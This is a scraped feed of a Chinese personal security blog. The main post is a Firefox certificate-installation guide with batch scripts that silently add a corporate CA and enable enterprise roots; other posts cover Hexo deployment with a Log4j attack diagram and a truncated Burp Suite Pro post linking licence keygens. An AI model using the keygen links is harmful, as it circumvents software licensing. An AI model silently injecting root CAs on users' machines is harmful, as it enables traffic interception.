+ + + Firefox安装证书的几种方式 + + http://h4m5t.github.io/2023/06/07/firefox-and-bat/ + 2023-06-07T12:55:44.000Z + 2024-09-24T05:05:42.000Z + + Firefox安装证书的几种方式

Firefox安装证书的几种方式。

关于bat脚本

bat脚本中的变量类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@echo off

set regPath=HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
set regKey=ProgramFilesDir
set regValue=
set Value1="ww"

reg query %regPath% >nul 2>nul
if %errorlevel%==0 (
echo Registry key %regPath% exists.
for /f "tokens=2*" %%a in ('reg query %regPath% /v %regKey% ^| findstr /i %regKey%') do (
if "%regValue%"=="" (
echo value not exists
) else (
set Value1=%%b
echo %%b
echo !Value1! 1
)
)
) else (
echo Registry key %regPath% does not exist.
)

在这个示例脚本中,首先使用set命令给变量Value1赋初值为"ww"。然后,脚本使用reg query命令检查注册表中是否存在指定的注册表目录,如果存在,则使用for /f命令和reg query命令的输出来解析注册表值的名称和数据,并将其存储在变量Value1中。最后,脚本输出变量Value1的值,以及一个附加的字符串1

请注意,在使用echo命令输出变量Value1的值之前,需要在变量名前加上%字符。否则,输出的将是变量名本身,而不是其存储的值。另外,变量Value1的值在if语句中被设置,因此需要在该语句块中使用!字符来代替%字符,以启用延迟变量扩展。这样,才能在语句块中正确地引用变量Value1的值。

我刚开始用%%输出变量值,发现跟预期不一致,万能的GPT帮我纠正了这个错误。

关于引用变量:

在 Windows 中,批处理脚本中使用变量时,有两种方式来引用变量的值:%var%!var!。这两种方式的主要区别在于变量的扩展方式和生命周期。

%var% 表示立即扩展变量,也称为百分号变量。在批处理脚本中,使用 %var% 可以将变量扩展为其当前值。变量在整个批处理脚本的生命周期内都是有效的,但是在某些情况下,它们可能不会像预期那样扩展。例如,如果要在一个代码块中使用变量,而该变量在该代码块之前已被更改,则百分号变量可能会扩展为旧值,而不是新值。

!var! 表示延迟扩展变量,也称为感叹号变量。在批处理脚本中,使用 !var! 可以将变量扩展为其当前值,但是它是在运行时进行扩展的,而不是在解析时进行扩展的。因此,变量的生命周期仅限于它们在脚本中使用的代码块。如果需要在代码块中使用变量,并且该变量在代码块之前已被更改,则可以使用感叹号变量来确保变量扩展为其当前值。

在批处理脚本中,使用 setlocal enabledelayedexpansion 命令可以启用感叹号变量。启用延迟扩展后,可以使用 !var! 来引用变量的值。

因此,%% 表示百分号变量,!! 表示感叹号变量。在批处理脚本中,使用 %% 来引用百分号变量的值,使用 !! 来引用感叹号变量的值。

脚本闪退怎么办

脚本执行后马上闪退可能是由于脚本中的某个命令出错导致的。您可以尝试添加 pause 命令到脚本的末尾,这样脚本执行完毕后会暂停,以便您查看执行结果和错误信息。

如果您希望在脚本发生错误时能够看到错误信息,可以将 @echo off 命令注释掉,这样脚本在执行时会输出命令的执行结果和错误信息,以便您查看。

另外,您还可以尝试在命令行中执行脚本,而不是双击脚本文件来执行,这样如果脚本发生错误,错误信息将会一直显示在命令行中,直到您手动关闭命令行窗口。

最后,如果您仍然无法解决问题,可以尝试逐步注释掉脚本中的命令,直到找到引起问题的命令为止。

关于Firefox证书

firefox使用自己的证书库,其他浏览器如Chrome,使用操作系统的证书库。

主要参考资料

https://wiki.mozilla.org/CA/AddRootToFirefox (官方说法,最全。)

https://stackoverflow.com/questions/1435000/programmatically-install-certificate-into-mozilla

方法1:certutil.exe

使用nss,下载nss包(官方已删除已仓库连接,没有编译好的版本,需重新编译)好像还需要NSPR,使用certutil.exe(和windows自带的certutil是两种不同的东西。)
参考地址:https://stackoverflow.com/questions/1435000/programmatically-install-certificate-into-mozilla
https://stackoverflow.com/questions/50159193/how-to-add-certificate-programmatically-into-firefox-version-59-cannot-find-cer
文件下载路径:
https://ftp.mozilla.org/pub/security/nss/releases/NSS_3_13_5_RTM/src/
https://ftp.mozilla.org/pub/nspr/releases/

构建方法:https://brpoblog.wordpress.com/2015/10/02/add-certificates-to-firefox-installation-with-certutil/

报错,提示缺少MSVCR71.DLL。下载此dll文件,放到bin文件夹。
https://cn.dll-files.com/download/837b1e310f2aa8b20f07a9b1ce90ac4f/msvcr71.dll.html?c=d3JyZEIva1QwMm1IbFpwVGhQK1kwQT09

1
2
3
4
5
6
7
8
9
10
11
12
13
显示证书:

certutil.exe -L -d "%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\urvqiw6e.default"

安装证书:

certutil.exe -A -n "SomeNametest" -t "u,u,u" -i D:\UserData\h4m5tdesktop\Fortinet_CA_SSL.cer -d "%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\urvqiw6e.default"

安装之后再查看:

certutil.exe -L -d "%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\urvqiw6e.default"

发现已经在列表中了。

certutil.exe使用方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
C:\Users\h4m5t\Downloads\nss-3.11\nss-3.11\bin>certutil.exe -H
-A Add a certificate to the database (create if needed)
-E Add an Email certificate to the database (create if needed)
-n cert-name Specify the nickname of the certificate to add
-t trustargs Set the certificate trust attributes:
p valid peer
P trusted peer (implies p)
c valid CA
T trusted CA to issue client certs (implies c)
C trusted CA to issue server certs (implies c)
u user cert
w send warning
g make step-up cert
-f pwfile Specify the password file
-d certdir Cert database directory (default is ~/.netscape)
-P dbprefix Cert & Key database prefix
-a The input certificate is encoded in ASCII (RFC1113)
-i input Specify the certificate file (default is stdin)

-C Create a new binary certificate from a BINARY cert request
-c issuer-name The nickname of the issuer cert
-i cert-request The BINARY certificate request file
-o output-cert Output binary cert to this file (default is stdout)
-x Self sign
-m serial-number Cert serial number
-w warp-months Time Warp
-v months-valid Months valid (default is 3)
-f pwfile Specify the password file
-d certdir Cert database directory (default is ~/.netscape)
-P dbprefix Cert & Key database prefix
-1 Create key usage extension
-2 Create basic constraint extension
-3 Create authority key ID extension
-4 Create crl distribution point extension
-5 Create netscape cert type extension
-6 Create extended key usage extension
-7 Create an email subject alt name extension
-8 Create an dns subject alt name extension

-G Generate a new key pair
-h token-name Name of token in which to generate key (default is internal)
-k key-type Type of key pair to generate ("dsa", "rsa" (default))
-g key-size Key size in bits, (min 512, max 2048, default 1024)
-y exp Set the public exponent value (3, 17, 65537) (rsa only)
-f password-file Specify the password file
-z noisefile Specify the noise file to be used
-q pqgfile read PQG value from pqgfile (dsa only)
-d keydir Key database directory (default is ~/.netscape)
-P dbprefix Cert & Key database prefix

-D Delete a certificate from the database
-n cert-name The nickname of the cert to delete
-d certdir Cert database directory (default is ~/.netscape)
-P dbprefix Cert & Key database prefix

-U List all modules
-d moddir Module database directory (default is '~/.netscape')
-P dbprefix Cert & Key database prefix
-X force the database to open R/W

-K List all keys
-h token-name Name of token in which to look for keys (default is internal, use "all" to list keys on all tokens)
-k key-type Type of key pair to list ("all", "dsa", "rsa" (default))
-f password-file Specify the password file
-d keydir Key database directory (default is ~/.netscape)
-P dbprefix Cert & Key database prefix
-X force the database to open R/W

-L List all certs, or print out a single named cert
-n cert-name Pretty print named cert (list all if unspecified)
-d certdir Cert database directory (default is ~/.netscape)
-P dbprefix Cert & Key database prefix
-X force the database to open R/W
-r For single cert, print binary DER encoding
-a For single cert, print ASCII encoding (RFC1113)

-M Modify trust attributes of certificate
-n cert-name The nickname of the cert to modify
-t trustargs Set the certificate trust attributes (see -A above)
-d certdir Cert database directory (default is ~/.netscape)
-P dbprefix Cert & Key database prefix

-N Create a new certificate database
-d certdir Cert database directory (default is ~/.netscape)
-P dbprefix Cert & Key database prefix

-T Reset the Key database or token
-d certdir Cert database directory (default is ~/.netscape)
-P dbprefix Cert & Key database prefix
-h token-name Token to reset (default is internal)


-O Print the chain of a certificate
-n cert-name The nickname of the cert to modify
-d certdir Cert database directory (default is ~/.netscape)
-P dbprefix Cert & Key database prefix
-X force the database to open R/W

-R Generate a certificate request (stdout)
-s subject Specify the subject name (using RFC1485)
-o output-req Output the cert request to this file
-k key-type Type of key pair to generate ("dsa", "rsa" (default))
-h token-name Name of token in which to generate key (default is internal)
-g key-size Key size in bits, RSA keys only (min 512, max 2048, default 1024)
-q pqgfile Name of file containing PQG parameters (dsa only)
-f pwfile Specify the password file
-d keydir Key database directory (default is ~/.netscape)
-P dbprefix Cert & Key database prefix
-p phone Specify the contact phone number ("123-456-7890")
-a Output the cert request in ASCII (RFC1113); default is binary

-V Validate a certificate
-n cert-name The nickname of the cert to Validate
-b time validity time ("YYMMDDHHMMSS[+HHMM|-HHMM|Z]")
-e Check certificate signature
-u certusage Specify certificate usage:
C SSL Client
V SSL Server
S Email signer
R Email Recipient
-d certdir Cert database directory (default is ~/.netscape)
-P dbprefix Cert & Key database prefix
-X force the database to open R/W

-S Make a certificate and add to database
-n key-name Specify the nickname of the cert
-s subject Specify the subject name (using RFC1485)
-c issuer-name The nickname of the issuer cert
-t trustargs Set the certificate trust attributes (see -A above)
-k key-type Type of key pair to generate ("dsa", "rsa" (default))
-h token-name Name of token in which to generate key (default is internal)
-g key-size Key size in bits, RSA keys only (min 512, max 2048, default 1024)
-q pqgfile Name of file containing PQG parameters (dsa only)
-x Self sign
-m serial-number Cert serial number
-w warp-months Time Warp
-v months-valid Months valid (default is 3)
-f pwfile Specify the password file
-d certdir Cert database directory (default is ~/.netscape)
-P dbprefix Cert & Key database prefix
-p phone Specify the contact phone number ("123-456-7890")
-1 Create key usage extension
-2 Create basic constraint extension
-3 Create authority key ID extension
-4 Create crl distribution point extension
-5 Create netscape cert type extension
-6 Create extended key usage extension
-7 Create an email subject alt name extension
-8 Create an dns subject alt name extension

方法2:用GitHub脚本更新cert8.db

使用https://github.com/christian-korneck/firefox_add-certs (The release download includes a build of the NSS certutil.exe.)

方法3:启用security.enterprise_roots.enabled

适用于Firefox49版本及以上

https://support.mozilla.org/en-US/kb/setting-certificate-authorities-firefox

https://community.fortinet.com/t5/FortiGate/Technical-Note-Differences-between-SSL-Certificate-Inspection/ta-p/192301

手动启用

替换firefox configuration

https://support.umbrella.com/hc/en-us/articles/115000669728-Configuring-Firefox-to-use-the-Windows-Certificate-Store

https://docs.trendmicro.com/all/ent/ddwi/2.5/en-us/ddwi_2.5_olh/Deploy-the-Default-C_001.html

cfg配置文件启用

创建ddwi.cfg,内容如下。复制到文件夹:

C:\Program Files\Mozilla Firefox\ddwi.cfg

C:\Program Files (x86)\Mozilla Firefox\ddwi.cfg

1
2
   //
lockPref("security.enterprise_roots.enabled", true);

创建local-settings.js,内容如下。复制到文件夹:

C:\Program Files\Mozilla Firefox\defaults\pref\local-settings.js

C:\Program Files (x86)\Mozilla Firefox\defaults\pref\local-settings.js

1
2
pref("general.config.obscure_value", 0);
pref("general.config.filename", "ddwi.cfg");

注意,通过上述启用此选项后,会出现过几分钟又变成false的现象,过一会儿又自动变成True,没查到为什么会有这种现象,暂未解决。所以建议手动更改此配置选项。或使用下面的另一种方法:修改user.js配置文件。

user.js配置文件启用

参考:http://www.360doc.com/content/19/1031/22/73478_870350348.shtml

https://kb.mozillazine.org/User.js_file

pic

FireFox搜索框输入about:profiles,找到配置文件路径,一般情况下有两个配置文件目录。在如下路径:

1
%APPDATA%\Mozilla\Firefox\Profiles

创建user.js文件,复制到此配置文件目录下。

1
user_pref("security.enterprise_roots.enabled", true);

重启浏览器,发现此选项已经变成True

pic

安装脚本

准备好证书文件,各种配置文件,以及用NSS库构建的certutil.exe文件和安装脚本。全部放到C盘根目录下的firefoxinstallcert文件夹。

建议使用脚本2

脚本1

通过cfg配置文件lockPref启用security.enterprise_roots.enabled。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
@echo off
::开启变量延迟扩展
setlocal EnableExtensions EnableDelayedExpansion

echo ###checking new_version###
echo --------------------------
set regPath1="HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox"
set regPath2="HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Mozilla\Mozilla Firefox"
set regKey="CurrentVersion"
set regValue=""

set Value1="checkversion"

rem 检查新版本注册表是否存在
reg query %regPath1% >nul 2>nul
echo %errorlevel%
echo !errorlevel!
if %errorlevel%==0 (
echo new_version Registry key %regkey% exists.
for /f "tokens=2*" %%a in ('reg query %regPath1% /v %regKey% ^| findstr /i %regKey%') do (
if "%regValue%"=="" (
echo value not exists
) else (
set Value1=%%b
)
)
) else (
echo new_version Registry key %regkey% does not exist.
echo --------------------------
::检查旧版本注册表路径是否存在
echo ###checking old_version###
reg query %regPath2% >nul 2>nul
if !errorlevel!==0 (
echo old_version Registry key %regkey% exists.
for /f "tokens=2*" %%a in ('reg query %regPath2% /v %regKey% ^| findstr /i %regKey%') do (
if "%regValue%"=="" (
echo value not exists
) else (
set Value1=%%b
)
)
) else (
echo old_version Registry key %regkey% does not exist.
set Value1=0.0.0
)

echo !Value1!
echo %Value1%

set "Major=%Value1:.=" & set /A "Minor=Revision, Revision=Subrev, Subrev=%"
echo Majorold: %Major%
)

echo !Value1!
echo %Value1%

set "Major=%Value1:.=" & set /A "Minor=Revision, Revision=Subrev, Subrev=%"
echo Majornew: %Major%

::显示最终版本,若为0,则表示未安装Firefox
echo --------------------------
set final_version= %Major%
echo final_version %final_version%
echo --------------------------

rem 检查版本号
if %final_version% EQU 0 (
echo Program version is 0. Exiting script...
exit /b 1
) else if %Major% LSS 49 (
call :function1
) else (
call :function2
)

rem 退出脚本
exit /b

::
:function1
echo Program version is less than 49. Executing function 1...
rem 执行函数1的代码,在49版本以下,更新cert8.db证书库。

::显示db中的现有证书
set "db_path=%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\"
set default_name=""
::判断证书数据库路径是否存在
IF EXIST %db_path% (
echo default_path exists
rem 在这里添加需要执行的命令
set "count=0"
for /d %%i in ("%db_path%\*") do (
set /a count+=1
set "folder=%%~nxi"
)
::判断是否只有*.default这一个文件夹
if !count! equ 1 (
set default_name=!folder!
set "all_path=%db_path%!default_name!"
::显示default文件夹全路径
echo !all_path!
::显示更新前证书库
C:\firefoxinstallcert\nss-3.11\bin\certutil.exe -L -d !all_path!
::更新证书库
C:\firefoxinstallcert\nss-3.11\bin\certutil.exe -A -n "SomeNametest" -t "u,u,u" -i "C:\firefoxinstallcert\TPLINKCA.cer" -d !all_path!
::显示更新后的证书库
C:\firefoxinstallcert\nss-3.11\bin\certutil.exe -L -d !all_path!
) else (
echo no or more
)
) ELSE (
echo no
)


goto :eof


:function2
echo Program version is greater than or equal to 49. Executing function 2...
rem 执行函数2的代码,在49版本以上的FireFox中启用security.enterprise_roots.enabled

set source_file_cfg=C:\firefoxinstallcert\ddwi.cfg
set "dest_dir_cfg=C:\Program Files\Mozilla Firefox\"
echo Moving %source_file_cfg% to %dest_dir_cfg%...
if exist "%source_file_cfg%" (
if exist "%dest_dir_cfg%" (
copy "%source_file_cfg%" "%dest_dir_cfg%"
) else (
echo Directory %dest_dir_cfg% does not exist! Cannot move file.
)
) else (
echo Source file %source_file_cfg% does not exist! Cannot move file.
)

set "dest_dir_cfg_x86=C:\Program Files (x86)\Mozilla Firefox\"
echo Moving %source_file_cfg% to %dest_dir_cfg_x86%...
if exist "%source_file_cfg%" (
if exist "%dest_dir_cfg_x86%" (
copy "%source_file_cfg%" "%dest_dir_cfg_x86%"
) else (
echo Directory does not exist! Cannot move file.
)
) else (
echo Source file %source_file_cfg% does not exist! Cannot move file.
)


set source_file_js=C:\firefoxinstallcert\local-settings.js
set "dest_dir_js=C:\Program Files\Mozilla Firefox\defaults\pref\"
echo Moving %source_file_js% to %dest_dir_js%...
if exist "%source_file_js%" (
if exist "%dest_dir_js%" (
copy "%source_file_js%" "%dest_dir_js%"
) else (
echo Directory does not exist! Cannot move file.
)
) else (
echo Source file %source_file_js% does not exist! Cannot move file.
)
set "dest_dir_js_x86=C:\Program Files (x86)\Mozilla Firefox\defaults\pref\"
echo Moving %source_file_js% to %dest_dir_js_x86%...
if exist "%source_file_js%" (
if exist "%dest_dir_js_x86%" (
copy "%source_file_js%" "%dest_dir_js_x86%"
) else (
echo Directory does not exist! Cannot move file.
)
) else (
echo Source file %source_file_js% does not exist! Cannot move file.
)

goto :eof

pause

脚本2

通过user.js启用security.enterprise_roots.enabled。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
@echo off
::开启变量延迟扩展
setlocal EnableExtensions EnableDelayedExpansion

echo ###checking new_version###
echo --------------------------
set regPath1="HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox"
set regPath2="HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Mozilla\Mozilla Firefox"
set regKey="CurrentVersion"
set regValue=""

set Value1="checkversion"

rem 检查新版本注册表是否存在
reg query %regPath1% >nul 2>nul
echo %errorlevel%
echo !errorlevel!
if %errorlevel%==0 (
echo new_version Registry key %regkey% exists.
for /f "tokens=2*" %%a in ('reg query %regPath1% /v %regKey% ^| findstr /i %regKey%') do (
if "%regValue%"=="" (
echo value not exists
) else (
set Value1=%%b
)
)
) else (
echo new_version Registry key %regkey% does not exist.
echo --------------------------
::检查旧版本注册表路径是否存在
echo ###checking old_version###
reg query %regPath2% >nul 2>nul
if !errorlevel!==0 (
echo old_version Registry key %regkey% exists.
for /f "tokens=2*" %%a in ('reg query %regPath2% /v %regKey% ^| findstr /i %regKey%') do (
if "%regValue%"=="" (
echo value not exists
) else (
set Value1=%%b
)
)
) else (
echo old_version Registry key %regkey% does not exist.
set Value1=0.0.0
)

echo !Value1!
echo %Value1%

set "Major=%Value1:.=" & set /A "Minor=Revision, Revision=Subrev, Subrev=%"
echo Majorold: %Major%
)

echo !Value1!
echo %Value1%

set "Major=%Value1:.=" & set /A "Minor=Revision, Revision=Subrev, Subrev=%"
echo Majornew: %Major%

::显示最终版本,若为0,则表示未安装Firefox
echo --------------------------
set final_version= %Major%
echo final_version %final_version%
echo --------------------------

rem 检查版本号
if %final_version% EQU 0 (
echo Program version is 0. Exiting script...
exit /b 1
) else if %Major% LSS 49 (
call :function1
) else (
call :function2
)

rem 退出脚本
exit /b

::
:function1
echo Program version is less than 49. Executing function 1...
rem 执行函数1的代码,在49版本以下,更新cert8.db证书库。

::显示db中的现有证书
set "db_path=%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\"
set default_name=""
::判断证书数据库路径是否存在
IF EXIST %db_path% (
echo default_path exists
rem 在这里添加需要执行的命令
set "count=0"
for /d %%i in ("%db_path%\*") do (
set /a count+=1
set "folder=%%~nxi"
)
::判断是否只有*.default这一个文件夹
if !count! equ 1 (
set default_name=!folder!
set "all_path=%db_path%!default_name!"
::显示default文件夹全路径
echo !all_path!
::显示更新前证书库
C:\firefoxinstallcert\nss-3.11\bin\certutil.exe -L -d !all_path!
::更新证书库
C:\firefoxinstallcert\nss-3.11\bin\certutil.exe -A -n "SomeNametest" -t "u,u,u" -i "C:\firefoxinstallcert\TPLINKCA.cer" -d !all_path!
::显示更新后的证书库
C:\firefoxinstallcert\nss-3.11\bin\certutil.exe -L -d !all_path!
) else (
echo no or more
)
) ELSE (
echo no
)

goto :eof

:function2
echo Program version is greater than or equal to 49. Executing function 2...
rem 执行函数2的代码,在49版本以上的FireFox中通过增加user.js配置文件启用security.enterprise_roots.enabled

::profiles默认配置文件目录
set "parentFolder=%APPDATA%\Mozilla\Firefox\Profiles"
::搜索存在default字符串的文件夹,即profiles配置文件夹
set "searchString=default"
set source_user_js=C:\firefoxinstallcert\user.js
::将user.js文件拷贝到配置文件目录

IF EXIST %parentFolder% (
for /d %%F in ("%parentFolder%\*") do (
echo "%%~nxF" | findstr /C:"%searchString%" >nul 2>&1
if errorlevel 1 (
echo default Folder not found.
) else (
echo default Folder found.
rem 拼接全路径
set "all_default_path=%parentFolder%\%%~nxF"
echo !all_default_path!
copy "%source_user_js%" !all_default_path!
)
)
) ELSE (
echo no
)
goto :eof
pause

其他参考资料

http://www.certificate.fyicenter.com/389_Download_Mozilla_certutil_Tool_for_Windows_7.html

https://dev-tech-crypto.mozilla.narkive.com/QtN6vuxG/availability-of-certutil-on-windows

https://brpoblog.wordpress.com/2015/10/02/add-certificates-to-firefox-installation-with-certutil/

]]>
+ + + + + <h1 id="Firefox安装证书的几种方式"><a href="#Firefox安装证书的几种方式" class="headerlink" title="Firefox安装证书的几种方式"></a>Firefox安装证书的几种方式</h1><p>Firefox安装证书的几种 + + + + + +
+ + + SOC和SIEM建设 + + http://h4m5t.github.io/2023/05/20/SOC%E5%92%8CSIEM%E5%BB%BA%E8%AE%BE/ + 2023-05-20T12:38:47.000Z + 2024-09-24T05:05:42.000Z + + SOC和SIEM建设

待更。

引用图片方法1

引用图片方法2:

pic

设置封面图片的几种方式:

  • 直接引用同名文件夹
  • 引用/img下的图片
  • 加入超链接
]]>
+ + + + + <h1 id="SOC和SIEM建设"><a href="#SOC和SIEM建设" class="headerlink" title="SOC和SIEM建设"></a>SOC和SIEM建设</h1><p>待更。</p> +<p>引用图片方法1</p> +<img src="/2023 + + + + + + + + + + + + + +
+ + + 2023年展望 + + http://h4m5t.github.io/2023/01/01/2023%E5%B9%B4%E5%B1%95%E6%9C%9B/ + 2023-01-01T14:46:01.000Z + 2024-09-24T05:05:42.000Z + + 2022年总结

整个2022年过的比较压抑,无休止的封控,每天一次不停的核酸,最多的时候一天三次。直到12月突然放开,侥幸成为部门倒数第二个阳🐏的人,也算跑进了决赛圈。今天身体快恢复了,总体感觉就是中等感冒,并无大碍。

基地提供了很好的环境,享受了最好的图书馆,静下心来度过了大半年时光。22年的考研以失败告终(准确来讲,是21年考的),该做的准备都做了,奈何实力不够,差十几分未过线。身边很多朋友二战的,我也很遗憾,但不得不向前走了。

回到学校,大四下,便开始准备面试。最多的时候一天四轮面试,面的麻木了。到三月底,拿了七八个offer,选了个还算可以的就匆匆结束了。

然后又进入一段极其压抑痛苦的时光,选了一个比较前沿的密码学课题,原理难懂,实验更难,指导老师的压迫感比童年最大的阴影-钢琴老师来的还强。还好有热心学长帮忙指导,最后也顺利毕业了。

离开学校已有半年时间,没有太多留恋,或许再回去已是很多年之后了吧。

在家乡,度过了美好的暑期,那是人生少有的一段最轻松的时光。前一次是高考之后,后一次大概是退休吧。

7月底独自一人南下深圳,正式成为一名打工人。

打工半年,2022结束。

2023年展望

希望在未来这一年,做好职业规划,控制个人习惯,多给家人买些东西。培养一些兴趣爱好(唢呐,钓鱼,围棋等),多运动,多看几本书。

立几个flag:

  • 每月至少写一次博客
  • 上半年考CCNP
  • 下半年拿下OSCP
  • 如果可以,养一只猫🐱

愿2023年顺利。

]]>
+ + + + + <h2 id="2022年总结"><a href="#2022年总结" class="headerlink" title="2022年总结"></a>2022年总结</h2><p>整个2022年过的比较压抑,无休止的封控,每天一次不停的核酸,最多的时候一天三次。直到12月突然放开 + + + + + + + +
+ + + hexo博客部署 + + http://h4m5t.github.io/2022/12/30/hello-hexo/ + 2022-12-30T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + Hexo

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.

Quick Start

Create a new post

1
$ hexo new "My New Post"

More info: Writing

Clean

1
$ hexo clean

Run server

1
$ hexo server

More info: Server

Generate static files

1
$ hexo generate

More info: Generating

Deploy to remote sites

1
$ hexo deploy

More info: Deployment

Actions自动化部署

Hexo自动化工作流总是遇到问题,今天终于解决了。实现了自动部署,终于不用先在本地PC生成静态文件了。方便在不同环境直接通过修改md文件实现对博客的更新。

部署过程

  • 新建一个博客源码私有仓库BlogSource

  • 创建一个有 repo 和 workflow 权限的 GitHub Token

  • 将上述Token添加到私有仓库的Secrets,命令为HEXO_DEPLOY

  • 创建工作流文件:.github\workflows\hexo-deploy.yml

内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
name: Hexo Deploy GitHub Pages
on:
push:
branches:
- main

jobs:
build-and-deploy:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@master

- name: Build and Deploy
uses: h4m5t/hexo-deploy-github-pages-action@master # 使用专门部署 Hexo 到 GitHub pages 的 action
env:
PERSONAL_TOKEN: ${{ secrets.HEXO_DEPLOY }} # secret 名
PUBLISH_REPOSITORY: h4m5t/h4m5t.github.io # 公共仓库,格式:GitHub 用户名/仓库名
BRANCH: gh-pages # 静态页面仓库分支
PUBLISH_DIR: ./public # 部署 public 目录下的文件

其中,用到的部署Action:https://github.com/h4m5t/hexo-deploy-github-pages-action

我这里是push到gh-pages分支了。要注意同步修改仓库设置中的Build Branch

源代码仓库中的.gitignore文件内容:

1
2
3
4
5
6
7
8
.DS_Store
Thumbs.db
db.json
*.log
node_modules/
public/
.deploy*/
_multiconfig.yml

遇到的问题

  1. Actions总是报权限错误。删除掉源代码仓库中的node_modules文件夹后解决。
  2. themes文件夹下内容push报错。删除掉themes文件夹下.git文件后解决。

参考

https://akilar.top/posts/f752c86d/

https://github.com/cys2004/blog_source

https://juejin.cn/post/7133235874858270728#heading-2

mermaid流程图

修改:_config.butterfly.yml

1
2
3
4
5
6
7
8
# mermaid
# see https://github.com/mermaid-js/mermaid
mermaid:
enable: true
# built-in themes: default/forest/dark/neutral
theme:
light: default
dark: dark

方法1

在博客根目录下执行:

1
npm install hexo-filter-mermaid-diagrams --save

参考:https://github.com/jerryc127/hexo-theme-butterfly/issues/1228#issuecomment-1554223960

安装此插件后,可以使用Typora支持的格式,方便本地预览和远程查看。

例如:

可以根据如下源码生成流程图:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<pre class="mermaid">graph LR
A[Attacker crafts<br>malicious payload<br>with JNDI lookup] --> C{Log4j parses:<br>Contains JNDI lookup?}
C -->|Yes| D[Execute<br>JNDI lookup]
C -->|No| E[Normal log]
D --> F[Connect to<br>attacker's server]
F --> G[Download &<br>execute<br>malicious class]
G --> H[Attacker gains<br>server control]

classDef default fill:#f9f9f9,stroke:#333,stroke-width:1px;
classDef highlight fill:#f9d5e5,stroke:#333,stroke-width:2px;
classDef decision fill:#e3f2fd,stroke:#333,stroke-width:1px;
classDef danger fill:#ffebee,stroke:#333,stroke-width:1px;

class A,H highlight;
class C decision;
class G danger;</pre>
graph LR    A[Attacker crafts
malicious payload
with JNDI lookup] --> C{Log4j parses:
Contains JNDI lookup?} C -->|Yes| D[Execute
JNDI lookup] C -->|No| E[Normal log] D --> F[Connect to
attacker's server] F --> G[Download &
execute
malicious class] G --> H[Attacker gains
server control] classDef default fill:#f9f9f9,stroke:#333,stroke-width:1px; classDef highlight fill:#f9d5e5,stroke:#333,stroke-width:2px; classDef decision fill:#e3f2fd,stroke:#333,stroke-width:1px; classDef danger fill:#ffebee,stroke:#333,stroke-width:1px; class A,H highlight; class C decision; class G danger;
sequenceDiagram前端->>前端: 用户首次打开前端页面前端->>后台: version : 0 
请求同步数据后台->>前端: 返回数据,同时携带最大的versionnote right of 后台: 返回数据结构:{"version":100, data:[{},{},{}]}

方法2

使用butterfuly官方给出的引用方法。

参考:https://butterfly.js.org/posts/4aa8abbe/?highlight=mermaid#mermaid

写法:

1
2
3
{% mermaid %}
內容
{% endmermaid %}

示例:

]]>
+ + + + + <h2 id="Hexo"><a href="#Hexo" class="headerlink" title="Hexo"></a>Hexo</h2><p>Welcome to <a href="https://hexo.io/">Hexo</a>! This is your v + + + + + + + + + +
+ + + Mac下 安装BurpsuiteProfession + + http://h4m5t.github.io/2022/12/26/burpsuite/ + 2022-12-26T13:22:14.000Z + 2024-09-24T05:05:42.000Z + + Mac下安装BP Profession

背景

之前用的注册机现在不能使用了,需要换新的。

原来:https://github.com/TrojanAZhen/BurpSuitePro-2.1

现用:https://github.com/h3110w0r1d-y/BurpLoaderKeygen

安装

先到官网下载安装。

https://portswigger.net/burp/releases

按往常一样,将jar包放到Burpsuite app同级目录下,

pic

运行:

1
